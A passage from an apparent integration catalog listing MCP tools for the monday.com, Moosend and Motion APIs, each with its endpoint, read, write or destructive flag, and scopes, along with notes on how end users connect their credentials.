— Create team via GraphQL mutation create_team POST /api/v1/monday/mutation/create_team. Scopes: teams:write. monday_post_v2_graphql_mutation_create_update (write) — Create update via GraphQL mutation create_update POST /api/v1/monday/mutation/create_update. Scopes: updates:write. monday_post_v2_graphql_mutation_create_webhook (write) — Create webhook via GraphQL mutation create_webhook POST /api/v1/monday/mutation/create_webhook. Scopes: webhooks:write. monday_post_v2_graphql_mutation_create_workspace (write) — Create workspace via GraphQL mutation create_workspace POST /api/v1/monday/mutation/create_workspace. Scopes: workspaces:write. monday_post_v2_graphql_mutation_delete_board (write, destructive) — Delete board via GraphQL mutation delete_board POST /api/v1/monday/mutation/delete_board. Scopes: boards:write. monday_post_v2_graphql_mutation_delete_column (write, destructive) — Delete column via GraphQL mutation delete_column POST /api/v1/monday/mutation/delete_column. Scopes: boards:write. monday_post_v2_graphql_mutation_delete_doc (write, destructive) — Delete doc via GraphQL mutation delete_doc POST /api/v1/monday/mutation/delete_doc. Scopes: docs:write. monday_post_v2_graphql_mutation_delete_doc_block (write, destructive) — Delete doc block via GraphQL mutation delete_doc_block POST /api/v1/monday/mutation/delete_doc_block. Scopes: docs:write. monday_post_v2_graphql_mutation_delete_folder (write, destructive) — Delete folder via GraphQL mutation delete_folder POST /api/v1/monday/mutation/delete_folder. Scopes: workspaces:write. monday_post_v2_graphql_mutation_delete_group (write, destructive) — Delete group via GraphQL mutation delete_group POST /api/v1/monday/mutation/delete_group. Scopes: boards:write. monday_post_v2_graphql_mutation_delete_item (write, destructive) — Delete item via GraphQL mutation delete_item POST /api/v1/monday/mutation/delete_item. Scopes: boards:write. monday_post_v2_graphql_mutation_delete_subscribers_from_board (write, destructive) — Delete subscribers from board via GraphQL mutation delete_subscribers_from_board POST /api/v1/monday/mutation/delete_subscribers_from_board. Scopes: boards:write. monday_post_v2_graphql_mutation_delete_team (write, destructive) — Delete team via GraphQL mutation delete_team POST /api/v1/monday/mutation/delete_team. Scopes: teams:write. monday_post_v2_graphql_mutation_delete_teams_from_board (write, destructive) — Delete teams from board via GraphQL mutation delete_teams_from_board POST /api/v1/monday/mutation/delete_teams_from_board. Scopes: boards:write. monday_post_v2_graphql_mutation_delete_teams_from_workspace (write, destructive) — Delete teams from workspace via GraphQL mutation delete_teams_from_workspace POST /api/v1/monday/mutation/delete_teams_from_workspace. Scopes: workspaces:write. monday_post_v2_graphql_mutation_delete_update (write, destructive) — Delete update via GraphQL mutation delete_update POST /api/v1/monday/mutation/delete_update. Scopes: updates:write. monday_post_v2_graphql_mutation_delete_users_from_workspace (write, destructive) — Delete users from workspace via GraphQL mutation delete_users_from_workspace POST /api/v1/monday/mutation/delete_users_from_workspace. Scopes: workspaces:write. monday_post_v2_graphql_mutation_delete_webhook (write, destructive) — Delete webhook via GraphQL mutation delete_webhook POST /api/v1/monday/mutation/delete_webhook. Scopes: webhooks:write. monday_post_v2_graphql_mutation_delete_workspace (write, destructive) — Delete workspace via GraphQL mutation delete_workspace POST /api/v1/monday/mutation/delete_workspace. Scopes: workspaces:write. monday_post_v2_graphql_mutation_duplicate_board (write) — Duplicate board via GraphQL mutation duplicate_board POST /api/v1/monday/mutation/duplicate_board. Scopes: boards:write. monday_post_v2_graphql_mutation_duplicate_group (write) — Duplicate group via GraphQL mutation duplicate_group POST /api/v1/monday/mutation/duplicate_group. Scopes: boards:write. monday_post_v2_graphql_mutation_duplicate_item (write) — Duplicate item via GraphQL mutation duplicate_item POST /api/v1/monday/mutation/duplicate_item. Scopes: boards:write. monday_post_v2_graphql_mutation_edit_update (write) — Edit update via GraphQL mutation edit_update POST /api/v1/monday/mutation/edit_update. Scopes: updates:write. monday_post_v2_graphql_mutation_like_update (write) — Like update via GraphQL mutation like_update POST /api/v1/monday/mutation/like_update. Scopes: updates:write. monday_post_v2_graphql_mutation_move_item_to_board (write) — Move item to board via GraphQL mutation move_item_to_board POST /api/v1/monday/mutation/move_item_to_board. Scopes: boards:write. monday_post_v2_graphql_mutation_move_item_to_group (write) — Move item to group via GraphQL mutation move_item_to_group POST /api/v1/monday/mutation/move_item_to_group. Scopes: boards:write. monday_post_v2_graphql_mutation_pin_to_top (write) — Pin to top via GraphQL mutation pin_to_top POST /api/v1/monday/mutation/pin_to_top. Scopes: updates:write. monday_post_v2_graphql_mutation_remove_team_owners (write, destructive) — Remove team owners via GraphQL mutation remove_team_owners POST /api/v1/monday/mutation/remove_team_owners. Scopes: teams:write. monday_post_v2_graphql_mutation_remove_users_from_team (write, destructive) — Remove users from team via GraphQL mutation remove_users_from_team POST /api/v1/monday/mutation/remove_users_from_team. Scopes: teams:write. monday_post_v2_graphql_mutation_set_item_description_content (write) — Set item description content via GraphQL mutation set_item_description_content POST /api/v1/monday/mutation/set_item_description_content. Scopes: boards:write. monday_post_v2_graphql_mutation_unlike_update (write) — Unlike update via GraphQL mutation unlike_update POST /api/v1/monday/mutation/unlike_update. Scopes: updates:write. monday_post_v2_graphql_mutation_unpin_from_top (write) — Unpin from top via GraphQL mutation unpin_from_top POST /api/v1/monday/mutation/unpin_from_top. Scopes: updates:write. monday_post_v2_graphql_mutation_update_board (write) — Update board via GraphQL mutation update_board POST /api/v1/monday/mutation/update_board. Scopes: boards:write. monday_post_v2_graphql_mutation_update_column (write) — Update column via GraphQL mutation update_column POST /api/v1/monday/mutation/update_column. Scopes: boards:write. monday_post_v2_graphql_mutation_update_doc_block (write) — Update doc block via GraphQL mutation update_doc_block POST /api/v1/monday/mutation/update_doc_block. Scopes: docs:write. monday_post_v2_graphql_mutation_update_doc_name (write) — Update doc name via GraphQL mutation update_doc_name POST /api/v1/monday/mutation/update_doc_name. Scopes: docs:write. monday_post_v2_graphql_mutation_update_folder (write) — Update folder via GraphQL mutation update_folder POST /api/v1/monday/mutation/update_folder. Scopes: workspaces:write. monday_post_v2_graphql_mutation_update_group (write) — Update group via GraphQL mutation update_group POST /api/v1/monday/mutation/update_group. Scopes: boards:write. monday_post_v2_graphql_mutation_update_multiple_users (write) — Update multiple users via GraphQL mutation update_multiple_users POST /api/v1/monday/mutation/update_multiple_users. Scopes: users:write. monday_post_v2_graphql_mutation_update_workspace (write) — Update workspace via GraphQL mutation update_workspace POST /api/v1/monday/mutation/update_workspace. Scopes: workspaces:write. monday_post_v2_graphql_query_account (read) — Account via GraphQL query account POST /api/v1/monday/query/account. Scopes: account:read. monday_post_v2_graphql_query_assets (read) — Assets via GraphQL query assets POST /api/v1/monday/query/assets. Scopes: assets:read. monday_post_v2_graphql_query_boards (read) — Boards via GraphQL query boards POST /api/v1/monday/query/boards. Scopes: boards:read. monday_post_v2_graphql_query_complexity (read) — Complexity via GraphQL query complexity POST /api/v1/monday/query/complexity. Scopes: none. monday_post_v2_graphql_query_docs (read) — Docs via GraphQL query docs POST /api/v1/monday/query/docs. Scopes: docs:read. monday_post_v2_graphql_query_export_markdown_from_doc (read) — Export markdown from doc via GraphQL query export_markdown_from_doc POST /api/v1/monday/query/export_markdown_from_doc. Scopes: docs:read. monday_post_v2_graphql_query_folders (read) — Folders via GraphQL query folders POST /api/v1/monday/query/folders. Scopes: workspaces:read. monday_post_v2_graphql_query_items (read) — Items via GraphQL query items POST /api/v1/monday/query/items. Scopes: boards:read. monday_post_v2_graphql_query_items_page_by_column_values (read) — Items page by column values via GraphQL query items_page_by_column_values POST /api/v1/monday/query/items_page_by_column_values. Scopes: boards:read. monday_post_v2_graphql_query_me (read) — Me via GraphQL query me POST /api/v1/monday/query/me. Scopes: me:read. monday_post_v2_graphql_query_notifications (read) — Notifications via GraphQL query notifications POST /api/v1/monday/query/notifications. Scopes: notifications:write. monday_post_v2_graphql_query_replies (read) — Replies via GraphQL query replies POST /api/v1/monday/query/replies. Scopes: updates:read. monday_post_v2_graphql_query_tags (read) — Tags via GraphQL query tags POST /api/v1/monday/query/tags. Scopes: tags:read. monday_post_v2_graphql_query_teams (read) — Teams via GraphQL query teams POST /api/v1/monday/query/teams. Scopes: teams:read. monday_post_v2_graphql_query_updates (read) — Updates via GraphQL query updates POST /api/v1/monday/query/updates. Scopes: updates:read. monday_post_v2_graphql_query_users (read) — Users via GraphQL query users POST /api/v1/monday/query/users. Scopes: users:read. monday_post_v2_graphql_query_webhooks (read) — Webhooks via GraphQL query webhooks POST /api/v1/monday/query/webhooks. Scopes: webhooks:read. monday_post_v2_graphql_query_workspaces (read) — Workspaces via GraphQL query workspaces POST /api/v1/monday/query/workspaces. Scopes: workspaces:read. ================================================================================ ## Moosend URL: https://www.agenticfabriq.com/integrations/moosend Section: Integrated Tools Moosend — 47 MCP tools Provider key: moosend. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. moosend_delete_campaigns_by_campaignid_delete (write, destructive) — Deleting A Campaign via DELETE /campaigns/{CampaignID}/delete.json. Deletes a campaign from your account, draft or even sent. DELETE /api/v1/moosend/campaigns/{CampaignID}/delete.json. Scopes: api. moosend_delete_lists_by_mailinglistid_customfields_by_customfieldid_delete (write, destructive) — Removing a custom field via DELETE /lists/{MailingListID}/customfields/{CustomFieldID}/delete.json. Removes a custom field definition from the specified mailing list. DELETE /api/v1/moosend/lists/{MailingListID}/customfields/{CustomFieldID}/delete.json. Scopes: api. moosend_delete_lists_by_mailinglistid_delete (write, destructive) — Deleting a mailing list via DELETE /lists/{MailingListID}/delete.json. Deletes a mailing list from your account. DELETE /api/v1/moosend/lists/{MailingListID}/delete.json. Scopes: api. moosend_delete_lists_by_mailinglistid_segments_by_segmentid_delete (write, destructive) — Deleting A Segment via DELETE /lists/{MailingListID}/segments/{SegmentID}/delete.json. Deletes a segment along with its criteria from the mailing list. The subscribers of the mailing list that the segment returned are not deleted or affected in any way. DELETE /api/v1/moosend/lists/{MailingListID}/segments/{SegmentID}/delete.json. Scopes: api. moosend_get_campaigns (read) — Get All Campaigns via GET /campaigns.json. Returns a list of all campaigns in your account with detailed information. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/campaigns.json. Scopes: api. moosend_get_campaigns_by_campaignid_stats_by_type (read) — Get Campaign Statistics With Paging & Filtered via GET /campaigns/{CampaignID}/stats/{Type}.json. Returns a detailed list of statistics for a given campaign based on activity such as emails sent, opened, bounced, link clicked, etc. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/campaigns/{CampaignID}/stats/{Type}.json. Scopes: api. moosend_get_campaigns_by_campaignid_stats_countries (read) — Activity By Location via GET /campaigns/{CampaignID}/stats/countries.json. Returns a detailed report of your campaign opens (unique and total) by country. GET /api/v1/moosend/campaigns/{CampaignID}/stats/countries.json. Scopes: api. moosend_get_campaigns_by_campaignid_stats_links (read) — Link Activity via GET /campaigns/{CampaignID}/stats/links.json. Returns a list with your campaign links and how many clicks have been made by your recipients, either unique or total. GET /api/v1/moosend/campaigns/{CampaignID}/stats/links.json. Scopes: api. moosend_get_campaigns_by_campaignid_view (read) — Getting Campaign Details via GET /campaigns/{CampaignID}/view.json. Returns a complete set of properties that describe the requested campaign in detail. No statistics are included in the result. GET /api/v1/moosend/campaigns/{CampaignID}/view.json. Scopes: api. moosend_get_campaigns_by_campaignid_view_ab_summary (read) — A/B Test Campaign Summary via GET /campaigns/{CampaignID}/view_ab_summary.json. Provides a basic summary of the results for a sent AB test campaign, separately for each version (A and B), such as the number of recipients, opens, clicks, bounces, unsubscribes, forwards etc to date. GET /api/v1/moosend/campaigns/{CampaignID}/view_ab_summary.json. Scopes: api. moosend_get_campaigns_by_campaignid_view_summary (read) — Campaign Summary via GET /campaigns/{CampaignID}/view_summary.json. Provides a basic summary of the results for any sent campaign such as the number of recipients, opens, clicks, bounces, unsubscribes, forwards etc. to date. GET /api/v1/moosend/campaigns/{CampaignID}/view_summary.json. Scopes: api. moosend_get_campaigns_by_page (read) — Get Campaigns By Page via GET /campaigns/{Page}.json. Returns a list of all campaigns in your account with detailed information. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/campaigns/{Page}.json. Scopes: api. moosend_get_campaigns_by_page_by_pagesize (read) — Get Campaigns By Page And Pagesize via GET /campaigns/{Page}/{PageSize}.json. Returns a list of all campaigns in your account with detailed information. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/campaigns/{Page}/{PageSize}.json. Scopes: api. moosend_get_lists (read) — Getting all active mailing lists via GET /lists.json. Gets a list of your active mailing lists in your account. GET /api/v1/moosend/lists.json. Scopes: api. moosend_get_lists_by_mailinglistid_details (read) — Getting mailing list details via GET /lists/{MailingListID}/details.json. Gets details for a given mailing list. You may include subscriber statistics in your results or not. Any segments existing for the requested mailing list will not be included in the results. GET /api/v1/moosend/lists/{MailingListID}/details.json. Scopes: api. moosend_get_lists_by_mailinglistid_segments (read) — Getting segments via GET /lists/{MailingListID}/segments.json. Get a list of all segments with their criteria for the given mailing list. GET /api/v1/moosend/lists/{MailingListID}/segments.json. Scopes: api. moosend_get_lists_by_mailinglistid_segments_by_segmentid_details (read) — Getting segment details via GET /lists/{MailingListID}/segments/{SegmentID}/details.json. Gets detailed information on a specific segment and its criteria. However, it does not include the subscribers returned by the segment. GET /api/v1/moosend/lists/{MailingListID}/segments/{SegmentID}/details.json. Scopes: api. moosend_get_lists_by_mailinglistid_segments_by_segmentid_members (read) — Getting segment subscribers via GET /lists/{MailingListID}/segments/{SegmentID}/members.json. Gets a list of the subscribers that the specified segment returns according to its criteria. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/lists/{MailingListID}/segments/{SegmentID}/members.json. Scopes: api. moosend_get_lists_by_mailinglistid_subscribers_by_status (read) — Getting subscribers via GET /lists/{MailingListID}/subscribers/{Status}.json. Gets a list of all subscribers in a given mailing list. You may filter the list by setting a date to fetch those subscribed since then and/or by their status. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/lists/{MailingListID}/subscribers/{Status}.json. Scopes: api. moosend_get_lists_by_page_by_pagesize (read) — Getting all active mailing lists with paging via GET /lists/{Page}/{PageSize}.json. Gets a list of your active mailing lists in your account. Because the results for this call could be quite big, paging information is required as input. GET /api/v1/moosend/lists/{Page}/{PageSize}.json. Scopes: api. moosend_get_senders_find_all (read) — Getting All Your Senders via GET /senders/find_all.json. Gets a list of your active senders in your account. You may specify any email address of these senders when sending a campaign. GET /api/v1/moosend/senders/find_all.json. Scopes: api. moosend_get_senders_find_one (read) — Getting Sender Details via GET /senders/find_one.json. Returns basic information for the specified sender identified by its email address. GET /api/v1/moosend/senders/find_one.json. Scopes: api. moosend_get_subscribers_by_mailinglistid_find_by_subscriberid (read) — Get subscriber by id via GET /subscribers/{MailingListID}/find/{SubscriberID}.json. Searches for a subscriber with the specified unique id in the specified mailing list and returns detailed information such as email, name, date created, date unsubscribed, status and custom fields. GET /api/v1/moosend/subscribers/{MailingListID}/find/{SubscriberID}.json. Scopes: api. moosend_get_subscribers_by_mailinglistid_view (read) — Get subscriber by email address via GET /subscribers/{MailingListID}/view.json. Searches for a subscriber with the specified email address in the specified mailing list and returns detailed information such as id, name, date created, date unsubscribed, status and custom fields GET /api/v1/moosend/subscribers/{MailingListID}/view.json. Scopes: api. moosend_post_campaigns_by_campaignid_clone (write) — Cloning An Existing Campaign via POST /campaigns/{CampaignID}/clone.json. Creates an exact copy of an existing campaign. The new campaign is created as a draft. POST /api/v1/moosend/campaigns/{CampaignID}/clone.json. Scopes: api. moosend_post_campaigns_by_campaignid_schedule (write) — Scheduling A Campaign via POST /campaigns/{CampaignID}/schedule.json. Assigns a scheduled date and time at which the campaign will be delivered. POST /api/v1/moosend/campaigns/{CampaignID}/schedule.json. Scopes: api. moosend_post_campaigns_by_campaignid_send (write, destructive) — Sending a campaign via POST /campaigns/{CampaignID}/send.json. Sends an existing draft campaign to all recipients specified in its mailing list. The campaign is sent immediatelly. POST /api/v1/moosend/campaigns/{CampaignID}/send.json. Scopes: api. moosend_post_campaigns_by_campaignid_send_test (write) — Testing a campaign via POST /campaigns/{CampaignID}/send_test.json. Sends a test email of a draft campaign to a list of email addresses you specify for previewing. POST /api/v1/moosend/campaigns/{CampaignID}/send_test.json. Scopes: api. moosend_post_campaigns_by_campaignid_unschedule (write) — Unscheduling a campaign via POST /campaigns/{CampaignID}/unschedule.json. Removes a previously defined scheduled date and time from a campaign, so that it will be delivered immediately if already queued or when sent. POST /api/v1/moosend/campaigns/{CampaignID}/unschedule.json. Scopes: api. moosend_post_campaigns_by_campaignid_update (write) — Updating A Draft Campaign via POST /campaigns/{CampaignID}/update.json. Updates properties of an existing draft A/B campaign in your account. Non-draft campaigns cannot be updated. POST /api/v1/moosend/campaigns/{CampaignID}/update.json. Scopes: api. moosend_post_campaigns_create (write) — Creating A Draft Campaign via POST /campaigns/create.json. Creates a new campaign in your account. This method does not send the campaign, but rather creates it as a draft, ready for sending or testing. You can choose to send either a regular campaign or an AB split campaign. Campaign content must be specified from a web location. POST /api/v1/moosend/campaigns/create.json. Scopes: api. moosend_post_lists_by_mailinglistid_customfields_by_customfieldid_update (write) — Updating a custom field via POST /lists/{MailingListID}/customfields/{CustomFieldID}/update.json. Updates the properties of an existing custom field in the specified mailing list. POST /api/v1/moosend/lists/{MailingListID}/customfields/{CustomFieldID}/update.json. Scopes: api. moosend_post_lists_by_mailinglistid_customfields_create (write) — Creating a custom field via POST /lists/{MailingListID}/customfields/create.json. Creates a new custom field in the specified mailing list. POST /api/v1/moosend/lists/{MailingListID}/customfields/create.json. Scopes: api. moosend_post_lists_by_mailinglistid_segments_by_segmentid_criteria_add (write) — Adding criteria to segments via POST /lists/{MailingListID}/segments/{SegmentID}/criteria/add.json. Adds a new criterion (a rule) to the specified segment. POST /api/v1/moosend/lists/{MailingListID}/segments/{SegmentID}/criteria/add.json. Scopes: api. moosend_post_lists_by_mailinglistid_segments_by_segmentid_criteria_by_criteriaid_update (write) — Updating segment criteria via POST /lists/{MailingListID}/segments/{SegmentID}/criteria/{CriteriaID}/update.json. Updates an existing criterion in the specified segment. POST /api/v1/moosend/lists/{MailingListID}/segments/{SegmentID}/criteria/{CriteriaID}/update.json. Scopes: api. moosend_post_lists_by_mailinglistid_segments_by_segmentid_update (write) — Updating a segment via POST /lists/{MailingListID}/segments/{SegmentID}/update.json. Updates the properties and criteria of an existing segment. You may update the name and match type of the segment. If criteria are included these will also be updated. You may update only the criteria. In that case, the existing name and settings will be retained. POST /api/v1/moosend/lists/{MailingListID}/segments/{SegmentID}/update.json. Scopes: api. moosend_post_lists_by_mailinglistid_segments_create (write) — Creating a new segment via POST /lists/{MailingListID}/segments/create.json. Creates a new segment (with criteria) for the given mailing list. You may specify the name of the segment, the way the criteria will match together and the criteria that you wish to segment your list by. Criteria may be omitted, which creates an empty segment. POST /api/v1/moosend/lists/{MailingListID}/segments/create.json. Scopes: api. moosend_post_lists_by_mailinglistid_update (write) — Updating a mailing list via POST /lists/{MailingListID}/update.json. Updates the properties of an existing mailing list. POST /api/v1/moosend/lists/{MailingListID}/update.json. Scopes: api. moosend_post_lists_create (write) — Creating a mailing list via POST /lists/create.json. Creates a new empty mailing list in your account. POST /api/v1/moosend/lists/create.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_by_campaignid_unsubscribe (write) — Unsubscribing subscribers from mailing list and a specified campaign via POST /subscribers/{MailingListID}/{CampaignID}/unsubscribe.json. Unsubscribes a subscriber from the specified mailing list and the specified campaign. This call will take into account the setting you have in "unsubscribe settings" and will remove the subscriber from all other mailing lists or not accordingly. The rate limit for this request is 20 requests per 10 seconds (*per API key). POST /api/v1/moosend/subscribers/{MailingListID}/{CampaignID}/unsubscribe.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_remove (write, destructive) — Removing a subscriber via POST /subscribers/{MailingListID}/remove.json. Removes a subscriber from the specified mailing list permanently (without moving to the suppression list). POST /api/v1/moosend/subscribers/{MailingListID}/remove.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_remove_many (write, destructive) — Removing multiple subscribers via POST /subscribers/{MailingListID}/remove_many.json. Removes a list of subscribers from the specified mailing list permanently (without putting them in the suppression list). Any invalid email addresses specified will be ignored. POST /api/v1/moosend/subscribers/{MailingListID}/remove_many.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_subscribe (write) — Adding subscribers via POST /subscribers/{MailingListID}/subscribe.json. Adds a new subscriber to the specified mailing list. If there is already a subscriber with the specified email address in the list, an update will be performed instead. The rate limit for this request is 10 requests per 10 seconds (*per API key). POST /api/v1/moosend/subscribers/{MailingListID}/subscribe.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_subscribe_many (write) — Adding multiple subscribers via POST /subscribers/{MailingListID}/subscribe_many.json. This method allows you to add multiple subscribers in a mailing list with a single call. If some subscribers already exist with the given email addresses, they will be updated. If you try to add a subscriber with an invalid email address, this attempt will be ignored, as the process will skip to the next subscriber. The rate limit for this request is 5 requests per 10 seconds (*per API key). POST /api/v1/moosend/subscribers/{MailingListID}/subscribe_many.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_unsubscribe (write) — Unsubscribing subscribers from mailing list via POST /subscribers/{MailingListID}/unsubscribe.json. Unsubscribes a subscriber from the specified mailing list. The rate limit for this request is 20 requests per 10 seconds (*per API key). POST /api/v1/moosend/subscribers/{MailingListID}/unsubscribe.json. Scopes: api. moosend_post_subscribers_by_mailinglistid_update_by_subscriberid (write) — Updating a subscriber via POST /subscribers/{MailingListID}/update/{SubscriberID}.json. Updates a subscriber in the specified mailing list. POST /api/v1/moosend/subscribers/{MailingListID}/update/{SubscriberID}.json. Scopes: api. moosend_post_subscribers_unsubscribe (write) — Unsubscribing subscribers from account via POST /subscribers/unsubscribe.json. Unsubscribes a subscriber from the account. The rate limit for this request is 20 requests per 10 seconds (*per API key). POST /api/v1/moosend/subscribers/unsubscribe.json. Scopes: api. ================================================================================ ## Motion URL: https://www.agenticfabriq.com/integrations/motion Section: Integrated Tools Motion — 27 MCP tools Provider key: motion. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. motion_delete_beta_custom_field_values_project_by_projectid_custom_fields_by_valueid (write, destructive) — Clear a custom field value on a project via DELETE /beta/custom-field-values/project/{projectId}/custom-fields/{valueId}. Clear one custom field's value on one project. The field DEFINITION and every other project's value for it are untouched -- only this project's value is removed. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. DELETE /api/v1/motion/beta/custom-field-values/project/{projectId}/custom-fields/{valueId}. Scopes: api. motion_delete_beta_custom_field_values_task_by_taskid_custom_fields_by_valueid (write, destructive) — Clear a custom field value on a task via DELETE /beta/custom-field-values/task/{taskId}/custom-fields/{valueId}. Clear one custom field's value on one task. The field DEFINITION and every other task's value for it are untouched -- only this task's value is removed. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. DELETE /api/v1/motion/beta/custom-field-values/task/{taskId}/custom-fields/{valueId}. Scopes: api. motion_delete_beta_workspaces_by_workspaceid_custom_fields_by_id (write, destructive) — Delete workspace custom field via DELETE /beta/workspaces/{workspaceId}/custom-fields/{id}. Permanently delete a custom field DEFINITION from a workspace. This changes the workspace's shared schema and discards the values every task and project in it held for that field. It is not the same as clearing one task's value -- use the clear-value tools for that. Changes the workspace's shared configuration. It takes effect for every member of that workspace and every task and project in it, not only for this connection. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. DELETE /api/v1/motion/beta/workspaces/{workspaceId}/custom-fields/{id}. Scopes: api. motion_delete_v1_recurring_tasks_by_id (write, destructive) — Delete recurring task via DELETE /v1/recurring-tasks/{id}. Permanently delete a recurring task definition, stopping it from generating any further tasks. Tasks it already generated are not removed by this call. DELETE /api/v1/motion/v1/recurring-tasks/{id}. Scopes: api. motion_delete_v1_tasks_by_id (write, destructive) — Delete task via DELETE /v1/tasks/{id}. Permanently delete one task. There is no undo and no trash to restore it from: the task and its comments and custom field values go with it, and Motion reschedules whatever it was blocking. DELETE /api/v1/motion/v1/tasks/{id}. Scopes: api. motion_delete_v1_tasks_by_id_assignee (write, destructive) — Unassign task via DELETE /v1/tasks/{id}/assignee. Remove the assignee from a task, leaving the task itself in place. The task becomes unassigned rather than deleted; Motion stops scheduling it into the former assignee's calendar. DELETE /api/v1/motion/v1/tasks/{id}/assignee. Scopes: api. motion_get_beta_workspaces_by_workspaceid_custom_fields (read) — List workspace custom fields via GET /beta/workspaces/{workspaceId}/custom-fields. List the custom fields defined on one workspace, with their ids, names and types. Those ids are what the set-value tools need. Served from Motion's `/beta/` surface, which is a distinct prefix on the same host and the same API key. Served from Motion's `/beta/` API surface, which the vendor may change without a version bump. It uses the same host and the same API key as the `/v1/` tools. GET /api/v1/motion/beta/workspaces/{workspaceId}/custom-fields. Scopes: api. motion_get_v1_comments (read) — List task comments via GET /v1/comments. List the comments on one task, oldest first. `taskId` is REQUIRED -- Motion refuses the call with 400 naming the field when it is absent. GET /api/v1/motion/v1/comments. Scopes: api. motion_get_v1_projects (read) — List projects via GET /v1/projects. List the projects of one workspace. `workspaceId` is REQUIRED -- Motion refuses the call with 400 naming the field when it is absent. GET /api/v1/motion/v1/projects. Scopes: api. motion_get_v1_projects_by_id (read) — Get project via GET /v1/projects/{id}. Fetch one project in full by its id. The reply carries id, name, description, workspaceId, statusId, priorityLevel, dueDate, startDate, labelIds, managerId, color, type, stages, customFieldValues, createdByUserId, createdTime, updatedTime, completedTime. An id that does not exist answers 404 'Project with ID <id> not found'. GET /api/v1/motion/v1/projects/{id}. Scopes: api. motion_get_v1_recurring_tasks (read) — List recurring tasks via GET /v1/recurring-tasks. List the recurring task definitions of one workspace -- the rules that generate tasks, not the generated tasks themselves. `workspaceId` is REQUIRED; Motion refuses the call with 400 'workspaceId must be a string' when it is absent. Like List tasks, this route validates parameter names strictly and refuses an unknown one with 400. GET /api/v1/motion/v1/recurring-tasks. Scopes: api. motion_get_v1_schedules (read) — List schedules via GET /v1/schedules. List the schedules on the API key owner's account -- the named working-hours windows Motion schedules tasks into, each with its timezone and its per-weekday start and end times. It takes no arguments and describes the owner's own availability. GET /api/v1/motion/v1/schedules. Scopes: api. motion_get_v1_statuses (read) — List task statuses via GET /v1/statuses. List the task statuses defined in one workspace, each with its name and whether it is the default or a resolved status. `workspaceId` is REQUIRED. Statuses are per-workspace, and their NAMES are what the `status` filter on List tasks matches, so read them from here rather than guessing. GET /api/v1/motion/v1/statuses. Scopes: api. motion_get_v1_tasks (read) — List tasks via GET /v1/tasks. List tasks visible to this API key, newest page first. Every filter is optional and they combine; with none, Motion returns the key owner's tasks across all their workspaces. The reply is `{"meta": {...}, "tasks": [...]}` and pages through `cursor`. Motion validates this route's parameter names strictly: an unknown one is refused with 400 rather than ignored. GET /api/v1/motion/v1/tasks. Scopes: api. motion_get_v1_tasks_by_id (read) — Get task via GET /v1/tasks/{id}. Fetch one task in full by its id. The reply carries id, name, description, duration, dueDate, deadlineType, startOn, priority, labels, status, assignees, project, workspace, customFieldValues, chunks, scheduledStart, scheduledEnd, schedulingIssue, completed, completedTime, parentRecurringTaskId, creator, createdTime, updatedTime, lastInteractedTime. An id that does not exist answers 404 'Task not found'. GET /api/v1/motion/v1/tasks/{id}. Scopes: api. motion_get_v1_users (read) — List users via GET /v1/users. List the users of a workspace or of a team. Supply EITHER `workspaceId` OR `teamId` -- Motion refuses the call with 400 'Must provide either a teamId or a workspaceId' when both are absent. Each user carries id, name and email. GET /api/v1/motion/v1/users. Scopes: api. motion_get_v1_users_me (read) — Get my user via GET /v1/users/me. Fetch the user this API key belongs to: id, name and email. It takes no arguments and is the cheapest way to confirm a key works and to learn whose account it is acting as. GET /api/v1/motion/v1/users/me. Scopes: api. motion_get_v1_workspaces (read) — List workspaces via GET /v1/workspaces. List every workspace this API key can reach, with each workspace's id, name, type, teamId, labels and taskStatuses. This is the starting point for most of the other tools: List projects, List statuses, List recurring tasks and the custom-field tools all need a workspace id. GET /api/v1/motion/v1/workspaces. Scopes: api. motion_patch_v1_tasks_by_id (write) — Update task via PATCH /v1/tasks/{id}. Update a task in place. The body carries only the fields to change, named as Get task returns them. Changing `duration`, `dueDate`, `deadlineType` or `status` can make Motion reschedule the task and everything queued behind it. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. PATCH /api/v1/motion/v1/tasks/{id}. Scopes: api. motion_patch_v1_tasks_by_id_move (write) — Move task to another workspace via PATCH /v1/tasks/{id}/move. Move a task into a different workspace, and optionally reassign it. The body names the destination `workspaceId` and may name an `assigneeId`. Statuses, labels and custom fields are defined PER WORKSPACE, so a move can drop the values that do not exist in the destination. The `body` argument is a free-form JSON object: Motion publishes no machine-readable schema for this endpoint and the recovered documentation carries no field table, so Agentic Fabriq does not constrain it. Use the field names the matching read tool returns, and read Motion's error body on a 400 -- it names the offending field. PATCH /api/v1/motion/v1/tasks/{id}/move. Scopes: api. motion_post_beta_custom_field_values_project_by_projectid 